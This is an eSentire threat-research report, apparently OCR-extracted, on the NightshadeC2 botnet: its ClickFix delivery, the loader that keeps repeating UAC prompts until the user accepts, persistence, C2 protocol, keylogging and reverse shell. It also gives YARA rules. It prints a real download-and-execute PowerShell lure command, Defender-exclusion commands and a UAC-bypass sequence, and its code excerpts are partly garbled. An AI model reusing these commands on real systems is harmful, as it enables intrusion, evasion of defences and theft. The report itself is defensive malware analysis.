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Adversaries don’t work 9-5 and neither do we. At eSentire, our 24/7 SOCs are staffed with Elite Threat
Hunters and Cyber Analysts who hunt, investigate, contain and respond to threats within minutes.

We have discovered some of the most dangerous threats and nation state attacks in our space — including
the Kaseya MSP breach and the more_eggs malware.

Our Security Operations Centers are supported with Threat Intelligence, Tactical Threat Response and
Advanced Threat Analytics driven by our Threat Response Unit — the TRU team.

In TRU Positives, eSentire’s Threat Response Unit (TRU) provides a summary of a recent threat
investigation. We outline how we responded to the confirmed threat and what recommendations we have
going forward.

Here’s the latest from our TRU Team...

What did we find?
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In August 2025, eSentire's Threat Response Unit (TRU) identified a new botnet, tracked as "NightshadeC2,"
which is being deployed via a loader that employs a simple yet highly effective technique to bypass malware
analysis sandboxes and exclude the final payload in Windows Defender using a technique we refer to here-
in as “UAC Prompt Bombing”.

TRU has observed both C and Python-based variants that communicate with an unidentified Command and
Control (C2) framework. The C variant primarily communicates over TCP ports 7777, 33336, 33337, and
443, whereas Python variants predominantly utilize TCP port 80.

NightshadeC2 demonstrates an extensive capability set, including:

e Reverse shell via Command Prompt/PowerShell
e Download and execute DLL or EXE

¢ Self-deletion

 Remote control

e Screen capture

e Hidden web browsers

e Keylogging and clipboard content capturing

Additionally, TRU has identified certain variants with stealing capabilities that enable the extraction of
browser passwords and cookies from victim systems for both Gecko and Chromium based browsers. The
Python variant exhibits substantially reduced functionality, limited to self-deletion, download/execute, and
reverse shell capabilities.

Initial Access Vector

The initial access method used in observed incidents make use of the ClickFix initial access vector, where
victims are shown a captcha and instructed to execute a malicious command in the Windows Run Prompt.

TRU has also identified payloads in OSINT sources where the malware has been delivered through
trojanized versions of legitimate software applications, including Advanced IP Scanner, Express VPN,
HyperSecure VPN, CCleaner, and Everything.
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to victim clipboard

Booking.com

Confirm that you are human by performing the\action below.

1) Untitled - Notepad

B File Edit Format View Help
bld powershell -w h -ep b -c "iex (iwr boiksal.com/upd -useb).Content”|

~ Verification steps

To prove you're not a robot, perform:

1. Hold down the Windows key 2= + R
2_In the verification window, press Ctrl + V.

3. Press Enter to complete.

Perform the steps above to complete

Veri
verification. =

booking.com needs to check the security of your conn

Ray 10: [

Platform performance and security booking

Figure 1 — booking[.Jcom themed ClickFix attack
Analysis of Second Stage PowerShell

The second stage in the attack downloads/decrypts a .NET based loader and uses Assembly.Load to load
the module and invokes the method ExclusionAndAutorun.PayloadExecutor.Run. This method is responsible
for downloading/decrypting the final stage NightshadeC2 C variant and excluding it in Windows Defender by
using a technique we are referring to as “UAC Prompt Bombing”.
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fhaseParts { "htt .

$urlDll = Join-StringParts ($baseParts +
$keyBytes = | : :ASCII.GetBytes( "Pi

Wait-RandomDelay

$encDll = Get-DownloadData $urlDll

$dl1Bytes = Invoke-RC4 $encDl]l $keyBytes

Write-Host +| Decrypted DLL bytes ($dllBytes.Length)
fhdr = ($dllBytes|6..1] -join ", )

Write-Host "[!] ader bytes @BEE $($hdr)’

Walt-RandomDelay

$assembly = | []]%d1l1Bytes
Write-Host ~| ] 558 FullName
atch {

Write-Host

exit 1

$typeName = 'ExclusionAndAutorun.PayloadExec

$method = $assembly.GetType($typeName).GetMethod(
Write-Host +| Invoking payload
Wait-RandomDelay

$result = $method.Invoke(
Write-Host +| Payload

Figure 2 — Second stage PowerShell loader
Analysis of .NET Based Loader

Although the loader varies between samples, TRU has observed an obfuscated .NET-based loader
(available here) that implements a while loop to execute a PowerShell command in a new process. In a more
recent version of the loader, a UAC bypass is used instead, but we will get to that later.

The command used by this particular sample attempts to add an exclusion in Windows Defender for the final
payload, which has not yet been written to disk. The loader then verifies the exit code of the PowerShell
process; if the code is 0 (indicating success), the next stage—typically NightshadeC2—is delivered.
However, TRU has also received reports of this same loader being utilized to distribute Lumma Stealer.

If the PowerShell process returns any exit code other than 0, the while loop continues executing, effectively
forcing the user to approve the User Account Control (UAC) prompt or face system usability issues. TRU
refers to this technique as UAC Prompt Bombing.
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A particularly notable aspect of this approach is that systems with the WinDefend (Windows Defender)
service disabled will generate non-zero exit codes, causing malware analysis sandboxes to become trapped
in the execution loop. TRU has confirmed successful bypass of multiple sandbox environments using this
trivial technique.

While the specific testing was not exhaustive, it is highly probable that other sandbox solutions are similarly
vulnerable to this evasion method.

e Joe Sandbox

e CAPEv2 Sandbox
e Hatching Triage
e Any.Run

The figure below illustrates the process tree generated by a malware sandbox analyzing the loader. This

reveals how the loop continues, preventing delivery of the final payload, due to the non-zero exit code of the
PowerShell process.

. powershell.exe (PID: 8064 cmdline: "C: werShellw1.0\ hell.exe” -w hidden -ep bypass - G:\Users\user ps1 MDS: DI D- EF7012A10) [
- powershell.exe (PID: 380 cmdiine: * Lexe" Hidden -NoProfile ExecutmnF'oHcyEypasS -Command * try {if Add-Mpf lentlyConti { Add-Mpl LA
Force; Add-Mpl ppDataiLocallTe dater.exe’ -Force; Add-Mpl ppData\Locall pdater.exe’ -Force; } } catch { } " MD5: DBASEG449E97 D4E3DF64527EF7012A10) Q
« [l conhostexe (PID: 4352 cmdiine: C:\Windows\system32\conhost.exe Oxfififf -ForceV1 MDS5: EA777DEEA782EEBAD7C7CGZBBFSAMBG) D
- EX powershell.exe (r—vm 8140 emline: *C: 1 exe’

Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { if (Get-Command Add-MpPreference -ErrorAction SilentlyContinue) { Add-MpPreference -ExclusionPath 'Ci\Usersiuser -

Force; Add-Mpl 'c:L ppDatalLocallTempltibK. dater.exe' -Force; Add-Mpl fell ppData\LocallTemp\tibKZblupdater.exe' -Force; } } cateh { } " MD5: DBA3E6449E97DAE3DF64527EF7012A10) [
« @ conhostexe (PID: 5832 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV'1 MDS5: EA777DEEA752EEBAD7C7CSJBBFSA4496) [m]

+ EX powershell.exe (PID: 3820 cmdiine: "G 1 exe”

Hidden -NoProfile -ExecutionPolicy Bypass -Command * try { if (Get-Command Add-MpPreference -ErrorAction SilentlyGontinue) { Add-MpPreference -ExclusionPath ‘Ci\Usersiuser -

Force; Add-! Mvae'evence -ExclusionPath " C\usevs\user\AppData\Laca\\T&mn\ubKZb\updalerexe -Force; Add-Mpl "G\ ppData\Logall blupdater.exe' -Force; } } catoh { } * MD5: DBASE6449E97DAE3DF64527EF7012A10) [
. @ (PID: 6692 cmdline: C:\Windows!system32\conhost.exe Oxfffiff -ForceV1 MD5: EA777DEEAT82E884D7C7C33BBF8A4496) (%)
(F'ID 5540 emdline: "C:\Wi 1 exe" Wi Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { if (Get-Command Add-Mpl £y tion SilentlyContinue) { Add-Mpk "CAU;

el ppDatailocallTempltibKZblupdat ~Force; Add-Mpl \ ppDatalLocal pdater.exe’ -Force; } } catch { } * MD5: DBAIE6449EG7DAEIDF64527EF7012A10) Q
- mrmost exe (P\D 5012 cmdline: C\Wlndows\systemJZ\connostexe Oxfffrt - Favcew MDS EA777DEEA7EZEEBAD7C7033sBFsAuga) D

Flgure 3 — Evasion loop in malware sandbox

The loader effectively bypasses:

e Sandboxes with Microsoft Defender’s (WinDefend) service stopped
¢ Windows Defender if the victim accepts the UAC prompt

Victims clicking "Show details" in the UAC prompt can see the malicious PowerShell command. Selecting

"No" triggers repeated prompts until "Yes" is selected—a technique we are referring to as UAC Prompt
Bombing.
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User Account Controd x

Do you want to allow this app to make
changes to your device?

E Windows PowerShell

Veerified publisher: Microsoft Windows
Program location: "C\Windows
\SysWOWe4\WindowsPowerShell\w1.0\powershell.exe” -
WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -
Command "
try {
if (Get-Command Add-MpPreference -
ErrorAction SilentlyContinue) {
Add-MpPreference -ExclusionPath 'CA\Users

i " -Farce;

Add-MpPreference -ExclusionPath ‘C:\Users
\ \AppDataiLocalhTemp\tibKZb\updater.exe’ -Force;

Add-MpPreference -ExclusionProcess 'C:
\Users\| \AppData\Local\Temp\tibKZb\updater.exe’ -
Force;

i
} catch {}

Show information about the publisher's certificate
Change when these notifications appear

Hide details

Figure 4 — “Show details” of UAC prompt

In the figures below we can see the routine that handles adding the Windows Defender exclusion via a new
PowerShell process and returning the exit code of the PowerShell process.
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Figure 5 — .NET loader concatenating PowerShell exclusion command

igure 6 — Checking exit code of PowerShell process

Prior to starting the final stage payload, the loader establishes persistence via three different registry keys:
Winlogon, RunOnce, and Active Setup. Within the figures, the final stage payload is started with the required
argument 0x8c41db6c — likely to avoid analysis by security researchers and malware sandboxes.

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon

Speech Virtual ~ || Name Type Data
Speech_OneCore ab] (Default) REG_SZ (value not set)
Spelling uildNumber  REG_DWORD 0:00003f2b (16299)
SQMClient

DP REG_BINARY d2 00 €8 00 02 00 02 00 03 00 00 00 23 &8 6b 57 00 00 00 00 00 00 00 00 92 c9 4d be 42 Ob dc 01 92 9 4d be 42 Ob dic 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ¢

SystemCertificates . X
TabletTip ab|ExcludeProfileDirs REG_SZ AppData'\Local:AppData\LocalLow;SRecycle.Bin;OneDrive;Work Folders

VBV | FirstLogon REG_DWORD 0x00000000 (0)

Unified Store ab|ParseAutoexec REG_SZ 1

Unistore Tis|PUUActive REG_BINARY 23 e8 6b 5702 00 02 00 03 00 08 00 44 38 00 00 44 38 00 00 44 38 00 00 d2 00 00 00 05 00 07 00 56 28 6b af ff 90 00 0O ff 30 00 00 62 22 00 00 a8 20 00 00 e3 03 00 00 00 000000 ¢
UserData = Shell | REG_SZ explorer.exe,"C\Users\, )\AppData\Local\Microsoft\Windows\updater.exe” Ox8c41dbbc, "C:\Users\; MAppData\Local\Temp\tibKZb\updater.exe" Ox8c41dbbc

VisualStudio

Figure 7 — Winlogon registry entry for persistence

AHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

Group Policy Editor ~ [ Name Type Data
Holographic a) (Default) REG_SZ (value not set)
HomeGroup
ime
ImmersiveShell
Intemet
Lock Scr
Mobility| File Edit Format View Help

| Untitled - Notepad

3] Systeminit REG_SZ powershell.exe -WindowStyle Hidden -NoProfile - ExecutionPolicy Bypass -Command "try { Start-Process 'C:\Users\

MAppData\Local\ Temp\tibKZb\updater.exe’ -ArgumentList

- a x

Notificat| powershell.exe -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "try { Start-Process 'C:\Users\[| \AppData\Local\Temp\tibKZb\updater.exe® -Argumentlist
OnDemd "0x8c41db6c’ -WindowStyle Hidden } catch { }; try { reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v SystemInit /d 'powershell.exe -WindowStyle Hidden -
PenWork NoProfile -ExecutionPolicy Bypass -Command \"Start-Process \'C:\Users)] \AppData\Local\Temp\tibKZb\updater.exe\' -ArgumentlList \'@x8c4ldb6c\’ -WindowStyle Hidden\"' /f }

Policies | catch { }|
Precisio
Prelaung

Figure 8 — RunOnce registry entry for persistence

NHKEY_CURRENT_USER\Software\Microsoft\Active Setup\Installed Components\{af522cec-92bb-4a3c-a5ba-73bfb093%a1}

v Microsoft ~ || Name Type Data
¥ L) Active Setup ab) (Default) REG_SZ Microsoft Windows Security Update
v ‘"“’”‘f Components . ab]ComponentlD  REG_SZ {af522cec-92bb-4a3c-aSba-73bfb093%eal}
gig;t;?;g;:;;f:gEﬂ::}"f::ﬂz‘s;;;i‘g} A:) 3::::m :Eg_zi Tzvgﬁ;shﬁll exe -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "try { Start-Process 'C:\Users\ h\AppData\Local\Microsoft\Windows\updater.exe’ -Argument
{6BF52A52-394A-11d3-B153-00CO4FTIFAAG) - o
(89820200-ECBD-11ef-8885-00AA005B4340}
(89820200-ECBD-11cf-8B85-0DAA005B4383}
{89B4C1CD-B018-4511-B0A1-5476DBF 70820}
{BABID345-D3564-463¢-AFF1-ABIDIES30FI5)
{0459C573-B17A-4SAE-OF64-1857BSDSECEE)
{af522cec-92bb-4a3c-a5ba-73bfb093%eal}
ActiveMovie
ActiveSync —U
Assistance _J Untitled - Notepad - (=)
AuthCookies File Edit Format View Help
Avalon.Graphics powershell.exe -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "try { Start-Process 'C:\Users\| \AppData\Local\Microsoft\Windows\updater.exe' -
CalendarRT ArgumentList '@x8c4ldb6c’ -WindowStyle Hidden } catch { }"|

Command Processor

Figure 9 — ActiveSetup registry entry for persistence

Sandbox Bypass PoC

TRU has created a Proof of Concept (PoC) available here to demonstrate the bypass found in the
aforementioned loader. In the event the Windows Defender service (WinDefend) is stopped, the bypass will
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succeed. The PoC is around 50 lines of code and uses the same logic as the loader, where a while loop
continues to show a UAC prompt to force the victim into setting an exclusion for the final payload.

ronment
leFolderPath + "\\updater.exe";

plicationData) + \Temp\\tibkzb";

.StartInfo
.StartInfo
.StartInfo.Ar;

ath +

FolderPath +

Figure 10 — PoC code with while loop and exclusion command

The figure below displays the PoC decrypting the final payload and executing it. Note, the final payload is
simply a messagebox application that prints the EICAR string. Since the malicious file has already been
added to Windows Defender's exclusion list, it can run without triggering any security alerts!

Directory.CreateDirectory(exclusionFileFolderPath);

[1 decryptedPayload = DecryptPayload(encryptedPayload);

File.WriteAllBytes(exclusionFilePath, decryptedPayload);

Process.Start({exclusionFilePath);

Figure 11 — PoC code that decrypts/drops/executes whitelisted payload

Analysis of NightshadeC2 Payload

The file in question (updater.exe) is packed and performs module stomping of shell32.dll to execute the
NightshadeC2 payload. Initially, the malware queries ip-api[.Jcom to gather the victim's external IP

information, including country and VPN status—likely to avoid security researchers and sandbox
environments.
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Figure 12 — IP-API geo-ip lookup

i 66577 3419.457668535
66578 3419.459124108
66664 3419.492490665
66665 3419.493007259
66666 3419.493422194
66681 3419.523498938

192.168.122.1 192.168.122.131 DNS 90 Standard query response ©x88ea A www.ip-api.com A 208.95.112.1
192.168.122.131 208.95.112.1 TCP 66 50443 . 88 [SYN] Seq=0 Win=64240 Len=8 M55=1460 W5=256 SACK_PERM=1
208.95.112.1 192.168.122.131 TCP 66 80 — 50443 [SYN, ACK] Seq=0 Ack=1 Win=8198 Len=8 MS5=1468 W5=16 SACK_PERM=1
192.168.122.131 208.95.112.1 TCP 54 50443 . B8 [ACK] Seq=1 Ack=1 Win=65536 Len=0

192.168.122.131 208.95.112.1 HTTP 137 GET /line/?Tields=147457 HTTP/1.1

208.95.112.1 192.168.122.131 HTTP 251 HTTP/1.1 208 OK (text/plain)

Wireshark - Follow HTTP Stream (tcp.stream eq 39) - virbro

GET /line/?fields=147457 HTTP/1.1
Connection: Keep-Alive
Host: www.ip-api.com

HTTP/1.1 280 OK

Date: Wed, 27 Aug 2825 80:08:18 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 27
Access-Control-Allow-Origin: *

X-Ttl: 60

X-R1: 44

success
United States
true

Figure 13 — PCAP request/response of IP-API geo-ip lookup

After sending the RC4 encrypted key string to the C2 for authorization purposes, the malware’s fingerprint
callback is formed through the following steps.

1. Retrieves the victim OS product name via the registry key/value:
HKLM\SOFTWARE\WMicrosoft\Windows NT\CurrentVersion\ProductName
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sub
mov
mov
mov
lea
mov
mov
Xor
lea

mov
call

cmp [rsp

jz short loc 284

lea
mov
lea
mov
mov
mov
lea
XOT
mov
call
mov
call
nop

Figure 14 — Acquiring ProductName of victim OS via Registry
2. Queries the current process token to determine if the process is running with elevated permissions.

3. Retrieves the victim OS MachineGuid from the registry key/value:
HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid
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Figure 15 — Acquiring MachineGuid of victim OS via Registry
4. Calls the APls, GetUserNameW and GetComputerNameExW to retrieve the victim’s username,
computer name, and domain.

The structure of this callback, once decrypted from RC4, is shown in the annotated figure below.
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Figure 16 — Fingerprint callback format

The figure below displays an annotated PCAP TCP stream between NightshadeC2 and a sandbox
environment within VirusTotal from the PCAP available here. The first packet the client sends to the C2 is the
RC4 encrypted RC4 passphrase RandOmKey322666B followed by the bytes 01 00 00 00.

This acts as an authorization step to allow for further communications with the C2. The C2 then responds
with the RC4 encrypted passphrase in acknowledgement of the correct key, and the client sends the
fingerprint information for the victim device.

12/24


https://www.virustotal.com/gui/file/8940944e4abc600b283703876def0403160a5109abdbcb9e97c488dc3cc59b94/behavior

peeeReed 74 6f d9 7f b5 48 fé6 91 26 e® 16 5a 81 29 4f 35 to...H.. &..Z2.)05
@opeeele 21 6c 61 B2 a.
Peoopeed 74 6T d9 7f b5 48 f6 91 26 e@ 16 5a 81 29 4f 35 to...H.. &..Z.)05
@0eeae14 27 @e b7 1b ad 25 d4 f4 31 d3 4@ 68 dB 1f @e 77 'eaaafen lu@h..uw
2080R824 53 6c 41 B2 e@ el 69 c3 bB 2e 56 6@ 44 32 13 9f SlA...i. ..v'D2..
@088@834 ec 54 40 d@ fe @7 4a ea fa 6B 7a 48 a2z 2f B7 2d «T@uuad. .hz@./.—
@oaeRed44 f6 7c S5b 39 a5 6c 84 5f Bc 42 57 1b 83 43 62 e@ «|[9.1._ .BW..Cb.
@028R854 33 eb 84 93 98 55 3b ba 70 48 e5 84 58 25 Tb c@ 3....U;. pH..X%{.

POPeRR64 ac 19 cc 16 bl 79 6f 48 5e 7e 72 5a e8 af de 35 seeaay0@ “~rZ...5 C2 acknowledging key

Poeeee74 9d 6b 89 68 b8 a5 38 fb 2e 4d @8 98 4b 9d 4b 2f .k.h..8. .M..K.K/
PopeeeB84 Bf 6a 7a d3 cd 94 ¢4 3d bc e7 b3 06 1b 38 1a 24 cjZeana= o....B%
Boeeee94 ef d5 bd 97 47 c4 82 73 @1 e@ e3 fc 9 db ed 85 oooolShof Sooooooo
BogeaeeAd 42 @d df bl 53 4e @@ ea 7b b3 e9 e7 92 4c 32 a2 B...SN.. {....L2.
BogeeeB4 79 df ea 11 f2 5f 34 17 c2 87 @8 ef 5f 1f bf cl1 Yeuna_de wunu_uus
Bo@eedc4 bd 63 6T 5c 83 67 58 ee cB d3 9d 6d 47 27 2f 5f .co\.gX. ...mG'/_
Bo@eeeD4 3d 88 46 d6 d6 dd cb 54 d2 al 57 6e 18 69 3b ab =.F....T ..Wn.1;.
POR@ABPE4 ad 68 f1l 26 a6 98 38 S5e 31 2 67 54 al 3b eb 7@ h.&..8" 1.gT.;.p
PoeeeeF4 31 @3 ff @6 b4 1a 79 16 63 @7 @@ c@ c2 ed bf 6¢c Tlooo00¥0 Bocooool
P0Pee104 6e @d 8a 8b df eb 92 ab <¢2 96 9b 6¢c 78 c3 4T 46 Mooooooo ooolillF
eoeeel1l4 43 6T d@ 15 d3 ba 42 9b d9 53 74 d5 83 62 f6 57 Co..uaB. .St..b.W
P0PeR124 28 el 32 f3 ae 78 31 ff f8B de 89 @d d5 86 3e 9a (.2..%X1l. .vueu.>. Fingerprint callback
Bo@ee134 51 @@ 7b 53 cb bd 46 da 8a 5@ ac ba 76 31 94 6d 0.{5..F. .P..v1l.m
20228144 ¢l 7d cf a3 52 @ e3 41 9f 98 3d @e 9e df ac @@ R T T
Bo@ed154 B8d 1@ f6 56 e7 4c a6 79 1@ 36 33 ed 56 de c7 34 saaVuloy 630V, .4
BO228164 ed4 21 19 4d @3 7c c7 32 63 c4 d5 9a b4 @5 9b de 1Mo |.2 Cannanas
P020P174 @4 48 eB 9a 27 fc 3f bf 57 7a 37 ec 6d 4e 52 @@ JH.o.'.7. Wz7.mNR.
PoPee184 fe 8a cl 24 ea @f af ed@ 79 B0 dc 85 3@ ba 36 eb sen$unns YouulB.6.
B0eee194 bc dd ba @4 5 f1 df b8 dB8 4f d7 4f cb 89 @c 4e ansn_nns +0.0...N
@00eR1A4 2a @4 79 58 06 ec 31 de eb le fe c8 1c 79 fd 77 . yX..1l. .....Y¥.W|
Bo@ee1B4 b5 f1 58 b6 b6 7a 76 9b ca Be 28 @3 79 df 93 1f S S LT

Figure 17 — Fingerprint callback in PCAP (RC4 encrypted)

Cyberchef and the RC4 operation with the passphrase set to the key found in the payload allows for

decrypting traffic to and from the C2. In this case, the RC4 key was RandOmKey322666B.

[ -

RandonKey3226668

Victim usernamel
DUELS KT 0P E TS 1A 0
B o
Victim MachineGuid

Figure 18 — Decrypted fingerprint callback via CyberChef

The malware then calls the SetThreadExecutionState API with the flags shown below to effectively prevent

the victim machine from going to sleep.

SetThreadExecutionState(ES_CONTINUOUS | ES AWAYMODE REQUIRED |
ES DISPLAY REQUIRED | ES SYSTEM REQUIRED) ;

The malware then creates a new thread to set up clipboard harvesting and keylogging capabilities.

Harvested clipboard contents and keystrokes are written to a hidden log file path that varies sample to

sample.
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In the specific sample observed in the incident, the following log files are used:

o %LOCALAPPDATA%\JohniiDepp - Used if the process's token IS elevated
¢ %LOCALAPPDATA%\LuchiiSvet - “RaysLight” in Russian, used if the process's token IS NOT elevated

mov
lea
mov
call
nop
jmp short loc

Figure 19 — Create keylog/clipboard log file

The keylogging and clipboard harvesting capabilities are setup via a new thread that creates a hidden
window via the CreateWindowExW API and registers a callback via RegisterClassExW to process messages

sent to the window.

Key parameters are described below:

CreateWindowExW (

0x80u, // dwExStyle == WS EX TOOLWINDOW - Hides the window from the
victim's taskbar/ALT+TAB

ClassName, // 1lpClassName == L"IsabellaWine" - Specific class name used
for the window, does not appear to change between samples

OLL, // lpWindowName == NULL - No window title text

0, // dwStyle == WS OVERLAPPED - Omits WS VISIBLE flag so window is
hidden

The AddClipboardFormatListener APl is then called to place the window in the clipboard format listener list,
allowing the window to receive WM_CLIPBOARDUPDATE messages. This essentially allows the window to
harvest the victim's clipboard contents when it changes.
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cbSize = 80;
yle = 37
hInstance =
hbrBackgroun
lpszClassName =

0,

0x80000000,
0x80000000,
0x80000000,
0xX80000000,

Figure 20 — Create hidden window with "IsabellaWine” class name for capturing clipboard

In order to capture victim keystrokes, the SetWindowsHookExW API is called to install a hook procedure into
the hook chain, a commonly used API for keylogging.

Key parameters are described below:

SetWindowsHookEXW (

13, // idHook == WH KEYBOARD LL - Installs a hook procedure that monitors
low-level keyboard input events.

(HOOKPROC) fn, // lpfn == Pointer to the hook procedure that captures

keystrokes,

The hook procedure first checks to ensure the pressed keys aren't Ctrl+c or Ctrl+v, then converts the virtual
key to its associated unicode character, and writes it to the log file, along with the current window's window
text retrieved via GetWindowTextW, giving the threat actors context as to what window the keystrokes were
typed in.
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ate(162) < 0 || GetReyState(163) < 0 ? (v8

tate(162) < 0 || GetKeyState(163) < 0 2 (v9

Td(hWnd, OLL);

) (pwszBuff, hWnd);

Figure 21 — Hook procedure that captures/converts key strokes and writes to log

A preview of an example keylog/clipboard log file is shown below. This demonstrates what content threat

actors would see after retrieving the file from the victim machine, including active window title and clipboard
contents/keystrokes.

LuchiiSvet - Notepad - a

File Edit Format View Help

_________________________________ [10:34 27.88.2025] Untitled - NotepadTesting 123Logging keystrokes 123-------omooommommoooom - [10:35 27.88.2025]

Untitled - Notepadl®sdlkjhflsjdfhgjkfhglsdlkjhflsjdfhgikfhg@idlsdlkjhflsjdfhgjkfhgdlclsdlkjhflsjdfhgikfhgdcclsdlkjhflsjdfhgikfhgdec

Figure 22 — Keylog/clipboard capture log file example

Next, the malware begins handling commands from the C2. The list of commands, which can vary between
samples, can be found in the table below.

Command Description

1

4 0r8
48

49

89

90

128

150
201/202

205

Pong / Keep Alive

Reverse Shell via Command Prompt/PowerShell
Upload attacker-specified file(s) from victim device
Download/execute DLL or EXE

Connect to new C2

Self deletion

Create mutex, start hidden desktops/browsers (Firefox, Chrome, Brave, Edge) or a Run
Prompt in a specified desktop

Upload captured victim keystrokes/clipboard contents from the hidden log file to the C2
Screen capturing

Remote control capability: copy/paste from attacker to victim, simulate keyboard/mouse
input via sendinput API

The code shown creates a reverse shell connection to the C2 server by spawning a hidden Command
Prompt or PowerShell process. It configures pipes as handles for the process's stdin, stdout, and stderr

streams, allowing the C2 server to send commands and receive output from the compromised system's

shell.

16/24



eCP (0XFDE%u) ;
1tputCP (0xXFDE9u) ;

r

r

((const WCHAR *)v2l, 2);

16u) )

tributes, 0x7FFFu);
FFFu);

oLL, OLL, 1, 0, OLL, OLL, &StartupInfo, &Pro nformation);

018

Figure 2 — Reverse shell logic

The functionality of the copy/paste feature can be seen in the figure below, where the malware sends a
request to the C2 for the replacement text, and replaces it via the Windows API SetClipboardData prior to
calling SendInput to send the Ctrl+v keyboard shortcut.

acementClipboardSize + 1);

160LL) ;

(1pMem);

idInput({lu, &v8, 40);

Figure 24 — Copy/paste and mouse/keyboard simulation from C2

The next figure displays the code responsible for spawning a hidden web browser or Run Prompt.
Depending on flags from the C2, the specified web browser is started in a new or existing desktop, with
support for Google Chrome, Microsoft Edge, Firefox, and Brave.

Firefox is started with the -no-delevate parameter, while Chromium-based browsers use --mute-audio --do-
not-deelevate. These command line arguments ensure proper browser functionality when launched with
elevated privileges.
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If the C2 specifies the flag to spawn a Run Prompt instead of a web browser, the following process is
spawned:

"C:\Windows\System32\rundl132.exe" "C:\Windows\System32\shell32.d1l1l" #61

((__inte4

xePath) )

if ( (flags & 4) != 0 )
((__int64)lpOutCommandLine, (__int64)

mmandLine, (__int64)

(flags);

on.hProcess) ;
on.hThread);

Figure 25 — Run prompt/hidden web browser capability
NightshadeC2 Python Variant

TRU found threat actors may have used an LLM to convert the C-based malware to Python. The Python
variant maintains a subset of functionality including download/execute, self-deletion, and reverse shell
capabilities.

This approach likely helps evade detection, as VirusTotal shows few vendors identify Python variants. The
figure demonstrates how the Python code uses nearly identical API calls as its C counterpart to gather the
victim's external IP address and OS information, before sending it off to the C2 server formatted in the
structure shown in Figure 17 above.
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A\ , B, KEY_QUERY_VALUE | KEY_WOW64_64KEY, addressof(hKey))

id", RRF_RT_REG_SZ, ®, buf, add

AL_MACHINE, e , 8, KEY QUERY VALUE | KEY | EY, addressof(hKey))

tName”, RRF_RT_REG_SZ, ®, buf, add

esponse(hRequest, 8) == 8:
ataAvailable(hRequest, addressof(dwSize))
e + 1))()
1pOutBuffer, dwSize, addr readden)) B:

QutBuffer))

uffer[i]

Figure 26 — Nightshade C2 Python variant, near identital logic to C variant

The next figure displays the command handling logic, where the fingerprint information is sent to the C2 and
a thread is started to ping the C2. This behavior is identical in the C variant.

Three commands are handled by the script (shown in order below), including: ping, reverse shell,
download/execute of a DLL or EXE, and self-deletion.
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Connect(IP, PORT, 1)

f Send(s, botinfo_addr, sizeof(BOT_INFO)) == @:

CONTiInue
Ping func
g = Kernel3
le 1:
command[@] = @
command[1] = @
RecvTimeout(s, command, sizeof(command), 1)
command[&] == 5_PING:
CO |- T .. i =
2lif command[@] == S_START_TERMINAL:
CMDFUNC = WINFUNCTYPE(c_int, ¢_uint32)
ThreadTerminalSession_func = CMDFIL hreadTerminalSession)

8, ThreadTerminalSession_func, command[1],

pfinfo = ¢

crt . mem

ThreadUploadFile func UPLOADFUNC{ ThreadUploadFile)
hThread eateThread(8, @, ThreadUploadFile func, pfinfo, 8, @)
Kernel32.CloseHandle{hThread)
1 mand[@] == 5 DELETE:
SelfDelete()

Figure 27 — Nightshade C2 Python variant command handling, self-deletion, reverse shell,
download/execute

Steam Profile for C2

Like other malware, some Nightshade variants (including the python variants) make use of steam URLs for
acquiring the C2. This allows threat actors to change their C2 on-the-fly, while maintaining the same steam
URL. The figures below demonstrate this lookup in the malware and show the C2 “programsbookss[.Jcom” in
the Steam profile metadata.
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D +var
short loc 1ECF8FE4971

sub 1ECFS8FES8

O & steamcommunity.com/id/krouvhsin34287F7h3

STEAM STORE ABOUT SUPPORT

programsbookss.com +

»

Figure 29 — Example C2 "programsbookss[.Jcom” from Steam Community URL

UAC Bypasses

TRU has observed two different UAC bypass techniques used in campaigns. The first was found built into a
NightshadeC2 payload and makes use of a UAC bypass from 2019 for privilege escalation that abuses the
behavior of the RPC server that implements the UAC feature. A PoC of the bypass is available in Github
here.

The second UAC bypass makes use of the technique described here and has been implemented in a new
version of the .NET based loader, where it checks if the system is running an OS older than Windows 11. If
so, it starts the following LOLBIn processes to escalate privileges. Shortly after, it adds an exclusion in
Windows Defender for the final payload, avoiding the need to escalate by UAC prompt.

reg add "HKCU\Environment" /v windir /t REG_SZ /d "<REDACTED PAYLOAD PATH>

/l" /f
schtasks /Run /i /TN "\Microsoft\Windows\DiskCleanup\SilentCleanup"

reg delete "HKCU\Environment" /v windir /f

Yara Rules

21/24


https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html
https://github.com/Kudaes/Elevator
https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/
https://www.virustotal.com/gui/file/375229df144b3fb0d0560d90b06aa7fe34825886069653a088fa4071476cf63e

rule NightshadeC2 Win x64
{

meta:
author = "YungBinary"
description = "Detects NightshadeC2 in memory"
strings:
Sa = "camera!" wide
Sb = "keylog.txt" wide
Sc = "powershell Start-Sleep -Seconds 3; Remove-Item -Path %ws -

Force" wide

Sd = "MachineGuid" wide

Se = "[%02d:%02d %02d.%02d.%02d] Sws"
condition:

4 of them

rule NightshadeC2 Python Win
{

meta:
author = "YungBinary"
description = "Detects PyNightshade on disk"
strings:
$sl = "Winhttp.WinHttpOpenRequest (hConnect, \"GET\",
ascii
$s2 = "MachineGuid" ascii
$s3 = "1 = (i + 1) % 256" ascii
condition:
all of them
}
What did we do?

\"line/?fields="

e Ourteam of 24/7 SOC Cyber Analysts proactively isolated the affected host to contain the infection on

the customer’s behalf.

¢ We communicated what happened with the customer and helped them with remediation efforts.

What can you learn from this TRU Positive?
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https://www.esentire.com/what-we-do/security-operations-center

¢ NightshadeC2 is a new botnet/infostealer malware with comprehensive functionality: system control
capabilities, keystroke/clipboard monitoring, reverse shell access, payload execution, and credential
theft from browsers.

